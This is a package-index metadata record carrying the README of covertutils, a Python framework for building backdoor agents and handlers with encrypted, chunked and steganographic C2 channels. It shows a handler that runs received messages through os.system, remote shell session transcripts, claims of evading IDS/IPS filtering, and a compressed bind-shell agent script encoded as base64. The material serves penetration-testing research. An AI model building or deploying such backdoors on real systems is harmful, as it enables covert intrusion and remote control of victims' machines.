{"id":13501753,"url":"https://github.com/operatorequals/covertutils","last_synced_at":"2025-03-29T09:31:24.453Z","repository":{"id":37611878,"uuid":"88962304","full_name":"operatorequals/covertutils","owner":"operatorequals","description":"A framework for Backdoor development!","archived":true,"fork":false,"pushed_at":"2018-03-18T12:17:05.000Z","size":2112,"stargazers_count":436,"open_issues_count":5,"forks_count":68,"subscribers_count":38,"default_branch":"master","last_synced_at":"2025-03-12T10:18:04.140Z","etag":null,"topics":["agent","communication-channel","crypto","encryption","handler","payload","pentesting","post-exploitation","python","rce","reverse-shell","shell","steganography","stego","stream"],"latest_commit_sha":null,"homepage":"http://covertutils.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/operatorequals.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-04-21T08:42:07.000Z","updated_at":"2025-01-19T12:49:09.000Z","dependencies_parsed_at":"2022-08-18T07:05:29.808Z","dependency_job_id":null,"html_url":"https://github.com/operatorequals/covertutils","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fcovertutils","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fcovertutils/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fcovertutils/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/operatorequals%2Fcovertutils/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/operatorequals","download_url":"https://codeload.github.com/operatorequals/covertutils/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246167311,"owners_count":20734380,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent","communication-channel","crypto","encryption","handler","payload","pentesting","post-exploitation","python","rce","reverse-shell","shell","steganography","stego","stream"],"created_at":"2024-07-31T22:01:48.972Z","updated_at":"2025-03-29T09:31:23.951Z","avatar_url":"https://github.com/operatorequals.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# covertutils\n## A framework for Backdoor development!\n\n[![Documentation Status](https://readthedocs.org/projects/covertutils/badge/?version=latest)](http://covertutils.readthedocs.io/en/latest/?badge=latest) [![PyPI version](https://badge.fury.io/py/covertutils.svg)](https://pypi.python.org/pypi/covertutils)          [![GitHub version](https://badge.fury.io/gh/operatorequals%2Fcovertutils.svg)](https://github.com/operatorequals/covertutils) [![Build Status](https://travis-ci.org/operatorequals/covertutils.svg?branch=master)](https://travis-ci.org/operatorequals/covertutils)\n\n[Documentation Page](https://covertutils.readthedocs.io)\n\n[Blog Post in Securosophy describing some internals](https://securosophy.com/2017/04/22/reinventing-the-wheel-for-the-last-time-the-covertutils-package/)\n\n[Arranged Con Presentation about the Package \n(DefCamp #8 | November 9-10)](https://def.camp/speaker/john-torakis/)\n\n[ - Defcamp #8 Presentation PDF available - ](https://github.com/operatorequals/presentations/blob/master/defcamp08_10112017_covertutils_presentation.pdf)\n### What is it?\n\n\nThis Python package is used to create Agent/Handler backdoors, like *metasploit's* `meterpreter`, *empire's* `empire agent`, *cobalt strike's* `beacon` and so on...\n\nIt automatically handles all communication channel options, like **encryption**, **chunking**, **steganography**, **sessions**, etc. [With a recent package addition (`httpimport`), staging from pure Python2/3 is finally possible!](http://covertutils.readthedocs.io/en/latest/staging_exec.html)\n\nWith all those set with a few lines of code, a programmer can spend time creating the *actual payloads*, *persistense mechanisms*, *shellcodes* and generally **more creative stuff!**!\n\nThe security programmers can stop *re-inventing the wheel* by implementing encryption mechanisms both *Agent-side* and *Handler-side* to spend their time developing more versatile *Agents*, and generally feature-rich shells!\n\n### Python?\nYes, *Python*! Developer friendly, popular among security folks, consistent, preinstalled in vast majority of \\*nix machines and easily packed into Windows PE files.\nSo it is Python, and more specifically **Python2.7** only, for the time being...\n\n### But why Python2?\nSeveral reasons. Mostly because Python2 is **more popular among devices** (*IoT devices*, *old Linux servers*, etc), and backdoor code could run *as-is* on them, without `Freezing`, `Packing`, `PyInstalling`, etc. Backdoors are valuable when they are as cross-platform as possible.\nMacs, for example, do not have Python3 installed by default. If you want ``covertutils`` in Python3, do not complain, read [this reddit flame war dodging](https://www.reddit.com/r/netsec/comments/6rj7b0/a_python_package_for_creating_backdoors_coverutils/) and start PRing...\n\n#### So far the `covertutils.crypto` subpackage has been ported to Python3. That means that all encryption and signing can work from Python3. Slow and steady...\n\n### Dependencies?\nNO! Absolutely no dependencies, only pure python built-ins! The `entropy` package is required for the `tests` though.\nThis is a package's requirement, to ensure good flow when compiling in executable binaries.\n\n\n# Summary\n\n## The Entities\n\n### The `Message`\nMessages are all things that mean something to the listener. Messages travel through communication channels, and they have to be unaware of the channel they are travelling in. In other words, messages have to be independent of the mean of their transportation.\n *  If the communication channel can handle low length byte-chunks per \"burst\", the message has to be chunked.\n *  If the communication channel filters certain byte arrays (IDS/IPS, NextGen Firewalls).\n \n\n### The `Stream`\nThe Stream is a tag that gives certain context to the message. Can be defined and used for arbitrary reasons. Streams, for example, can be used to separate `Shell Commands` from `shellcode` messages.\n\n## The Organizers\n\n### The `Orchestrator`\nOrchestrators are the core of data manipulation in `covertutils`. They handle all data transformation methods to translate raw chunks of data into Stream-Message pairs.\n\n### The `Handler`\nHandlers tie together the raw byte input/output with the `orchestrators` to provide an interface of:\n* `onChunk()`\n* `onMessage()`\n* `onNotRecognized()`\n\n#### Example :\n```python\ndef onMessage( message, stream ) :\n  if stream == 'shell' :\n    os.system( message )\n```\n\n### The `Shell`\nA shell interface with prompt and `stream` control can be spawned from a `Handler` instance with:\n``` python\n\nshell = StandardShell(handler, prompt = \"(%s:%d)\u003e \" % client_addr )\nshell.start()\n```\n```bash\n(127.0.0.5:8081)\u003e \n# \u003cCtrl-C\u003e\nAvailable Streams:\n\t[ 0] - control\n\t[ 1] - python\n\t[ 2] - os-shell\n\t[99] - Back\nSelect stream: 2\n[os-shell]\u003e uname -a\nLinux hostname 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux\n[os-shell]\u003e !control sysinfo\nGeneral:\n\tHost: hostname\n\tMachine: x86_64\n\tVersion: #1 SMP Debian 4.9.25-1kali1 (2017-05-04)\n\tLocale: en_US-UTF-8\n\tPlatform: Linux-4.9.0-kali4-amd64-x86_64-with-Kali-kali-rolling-kali-rolling\n\tRelease: 4.9.0-kali4-amd64\n\tSystem: Linux\n\tProcessor: \n\tUser: unused\n\nSpecifics:\n\tWindows: ---\n\tLinux: glibc-2.7\n\n[os-shell]\u003e \n# \u003cCtrl-C\u003e\n(127.0.0.5:8081)\u003e q\n[!]\tQuit shell? [y/N] y\nAborted by the user...\n\n```\n\n### Multiple `Sessions`? Meet `covertpreter`...\nAny similarities with existing backdoors is purely coincidental...\n``` bash\ncovertpreter\u003e session -l\n\tCurrent Sessions:\n0) 9cb04c9761938349 - \u003cclass '__main__.MyHandler'\u003e\nSystem Info: N/A\n\n1) 523aff25b3703ac0 - \u003cclass '__main__.MyHandler'\u003e\nSystem Info: N/A\n\ncovertpreter\u003e 523aff25b3703ac0 os-shell id\n'!os-shell id' -\u003e \u003c523aff25b3703ac0\u003e\nuid=1000(unused) gid=1000(unused) groups=1000(unused)\n\ncovertpreter\u003e control sysinfo\nNo sessions selected, ALL sessions will be commanded\nAre you sure? [y/N]: y\n'!control sysinfo' -\u003e \u003c9cb04c9761938349\u003e\n'!control sysinfo' -\u003e \u003c523aff25b3703ac0\u003e\ncovertpreter\u003e \n[...]\ncovertpreter\u003e handler add examples/tcp_reverse_handler.py 8080 Pa55phra531\ncovertpreter\u003e\nAccepting\t\t\t# non-blocking\nAccepted\n\u003ccovertutils.shells.impl.extendableshell.ExtendableShell instance at 0x7fe24c0e6dd0\u003e\nAdded Session!\n\ncovertpreter\u003e session -lv\t\t# -v is verbose: shows available streams/extensions per handler\n\tCurrent Sessions:\n0) 9cb04c9761938349 - \u003cclass '__main__.MyHandler'\u003e\nhostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused\n\t-\u003e control\n\t-\u003e python\n\t-\u003e os-shell\n\n1) 0d415f6ba85c604d - \u003cclass 'MyHandler'\u003e\nSystem Info: N/A\n\t-\u003e control\n\t-\u003e python\n\t-\u003e os-shell\n\t-\u003e file\n\t-\u003e stage\n\n2) 523aff25b3703ac0 - \u003cclass '__main__.MyHandler'\u003e\nhostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused\n\t-\u003e control\n\t-\u003e python\n\t-\u003e os-shell\n\ncovertpreter\u003e\n```\nFull documentation at [`covertpreter` Session Shell aggregator](http://covertutils.readthedocs.io/en/latest/shells.html#the-covertpreter-session-shell-aggregator)\n\n### The `Encryption Schemes`\nCustom _Stream Ciphers_ are used, designed and implemented from scratch in the `covertutils.crypto` subpackage. Currently a custom _scrambling_ function (`std`) and the standard `CRC32` (`crc`) functions are used to generate the _stream keys_.\n\nThe crypto and scrambling algorithms can be tried in the below CLI implementations:\n\n#### Scrambling\n``` bash\n$ python -m covertutils.crypto.algorithms --length 16 std message_to_digest\nf3c7de5e591d2eb7fba938847430e2c0\n$ python -m covertutils.crypto.algorithms --length 20 std message_to_digest\n413928828205d7af0a5f415f6c0a5014e49c7250\n$ python -m covertutils.crypto.algorithms std message_to_digest --length 31\n6d9dd92f9eada2611c04a29da18b8b845638aec85d0783617f51dfc72e62ae\n$ python -m covertutils.crypto.algorithms std message_to_digest --length 32 --cycles 10\n252f9b7175399bae1cb2b02c36f4dbefd5ae6d4971b10f16b25631e45a4efc6c\n$ python -m covertutils.crypto.algorithms std message_to_digest --length 32 --cycles 20\n4fd94b21d6ee742e7426de512d1565bf1dd1031a1aa9ddd9de263773cfc8888c\n$ python -m covertutils.crypto.algorithms std message_to_digest\n4fd94b21d6ee742e7426de512d1565bf1dd1031a1aa9ddd9de263773cfc8888c\n```\n\n#### Encryption/Decryption\n``` bash\n$ python -m covertutils.crypto.keys crc keyphrase message_to_encrypt --output b64\nSkonjSa1pat95PVhAG9U3DHO\n$\n$ python -m covertutils.crypto.keys crc keyphrase SkonjSa1pat95PVhAG9U3DHO --input b64 --decrypt\nmessage_to_encrypt\n$ #\tChange the keyphrase and try to decrypt:\n$ python -m covertutils.crypto.keys crc keyphrase2 SkonjSa1pat95PVhAG9U3DHO --input b64 --decrypt\n����R��M8�\u0004A�q\u0013�/�\n```\n**The `std` algorithm is used by default in all communications.**\n\n#### A primitive `signing` implementation\n*Scrambling* the `examples/http_reverse_agent.py` file and later encrypting the scramble with a *key* creates something like a *signature*. The encrypted scramble can be used for integrity checking.\n#### `Signing`\n```bash\n$ cat examples/http_reverse_agent.py | python -m covertutils.crypto.algorithms std - --length 16 | python -m covertutils.crypto.keys std \"shared_secret\" - -o b64\nFiPXldUde7G4PGX3TnG+uBuviBVKSw+IS0D/i7S+REht\n```\n#### `Verifying`\n``` bash \nsignature=\"$(cat examples/http_reverse_agent.py | python -m covertutils.crypto.algorithms std - --length 16 | python -m covertutils.crypto.keys std \"shared_secret\" - -o b64)\"\nif [ \"$signature\" = \"FiPXldUde7G4PGX3TnG+uBuviBVKSw+IS0D/i7S+REht\" ]; then\n\techo \"Verified!\";\nelse\n\techo \"Invalid.\";\nfi\n```\n(Try changing the `examples/http_reverse_agent.py` file or the `signature` variable to test the example)\n\n*Signing is **not an overly secure feature**. It is little technique ensuring **basic** integrity checking without the hassle of importing official algorithms like `HMAC`* (which are definetely better, but *not built-in*). \nIt is meant for *staging payload* verification, yet there is no such mechanism implemented by default.\n\n### The `Compression`\nAll communications are passed through a layer of compression using the `bz2` or `zip` algorithm. The compression is using a *best effort* approach, meaning that the returned data will be the least lengthy compressed version of the input (even if that means that *no compression will take place*).\n``` bash\n$ cat examples/tcp_bind_agent.py | python -m covertutils.datamanipulation.compressor -  -v -o b64\neJydU01v2zAMPVu/gksuNhA4aQdfBuzQdR02DG2HJbdhSFWbiYTIkkExCfLvR9lu0qE7DQIkUeTjxyM1fTffR5o/Wz9Hf4DuxCZ4taHQQh0OSLxn62JptG8cUixt2zmQLRDDkuVVU7M06NzXweItNFBtMDJptsGfockPPp5VgZQaVfEUz9dQ75AHl2xbfEFHh9ip4d3oaJx9PquMrq6ulep0jJ0hHRE+wuSHrqokVe+vJko3DaXHRdmvyQys51zClpq2h19XvwulohgM0cvhyEfp5sv628PdavaiXT7efl8vVz/vbu6LbKpiKUw2OfQxiiybQs+L9Vt4QD4G2slVrJyNjD6vehNBYIeyeXYnCJvX9Cl1NNYhrGiP8CFZ3+udEMEwuIAnIx14UlntrOBnMJzrsUipqa6x47wP9MlJ0ikXNgittl4uhLpRKmtwA4T1AfJiCHMrCkY4ku46aTxsAoG/lJBlhLwnP8YrEzaHagHF6Cxi4oH0Ef7P4Su8eExDJOW8HZscLp2eAevt2qHfcjK+nkHY80WuFqnTf8uEwnQ/I4lgYe9Up2attdsGsmzaxGE/UpJGNv6ClMg/Rj/vCZz1lUvolHFxqTtRPhrCZ42t/IXVQP4fHvEtgg==\nRatio 52 %\n```\n```bash\n$ echo -n eJydU01v2zAMPVu/gksuNhA4aQdfBuzQdR02DG2HJbdhSFWbiYTIkkExCfLvR9lu0qE7DQIkUeTjxyM1fTffR5o/Wz9Hf4DuxCZ4taHQQh0OSLxn62JptG8cUixt2zmQLRDDkuVVU7M06NzXweItNFBtMDJptsGfockPPp5VgZQaVfEUz9dQ75AHl2xbfEFHh9ip4d3oaJx9PquMrq6ulep0jJ0hHRE+wuSHrqokVe+vJko3DaXHRdmvyQys51zClpq2h19XvwulohgM0cvhyEfp5sv628PdavaiXT7efl8vVz/vbu6LbKpiKUw2OfQxiiybQs+L9Vt4QD4G2slVrJyNjD6vehNBYIeyeXYnCJvX9Cl1NNYhrGiP8CFZ3+udEMEwuIAnIx14UlntrOBnMJzrsUipqa6x47wP9MlJ0ikXNgittl4uhLpRKmtwA4T1AfJiCHMrCkY4ku46aTxsAoG/lJBlhLwnP8YrEzaHagHF6Cxi4oH0Ef7P4Su8eExDJOW8HZscLp2eAevt2qHfcjK+nkHY80WuFqnTf8uEwnQ/I4lgYe9Up2attdsGsmzaxGE/UpJGNv6ClMg/Rj/vCZz1lUvolHFxqTtRPhrCZ42t/IXVQP4fHvEtgg==\\\n| python -m covertutils.datamanipulation.compressor - -i b64 -d\n#!/usr/bin/env python\nfrom covertutils.handlers.impl import StandardShellHandler\nfrom covertutils.orchestration import SimpleOrchestrator\n\nimport sys\nimport socket\n[...]\n```\n\n## Networking\nNetworking is not handled by `covertutils`, as python provides great built-in networking API (directly inherited from C). The only requirements for ``covertutils`` `Handler` instances are **2 functions wrapping the raw data sending and receiving**.\n\nJust pass a `send( raw )` and a `recv()` function to a `Handler` and you have a working *One-Time-Pad* encrypted, bandwidth aware, protocol independent, *password protected*, *multi-usable* channel.\n\n# Further Examples:\nSample TCP/UDP Reverse Shells and TCP Bind Shell scripts can be found in `examples/` directory.\n\nTutorial and explanation of the architecture can be found in the [CovertUtils Tutorial Restaurant](http://covertutils.readthedocs.io/en/latest/assembling_backdoor.html)!\n\n\n# Pull Requests?\nCertainly! All pull requests that are tested and do not break the existing tests will be accepted!\nEspecially Pull Requests towards Python2/Python3 compatibility will be greatly appreciated!\n\n\n\n\n# Disclaimer\nUsage of ``covertutils`` for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this package.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foperatorequals%2Fcovertutils","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Foperatorequals%2Fcovertutils","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Foperatorequals%2Fcovertutils/lists"}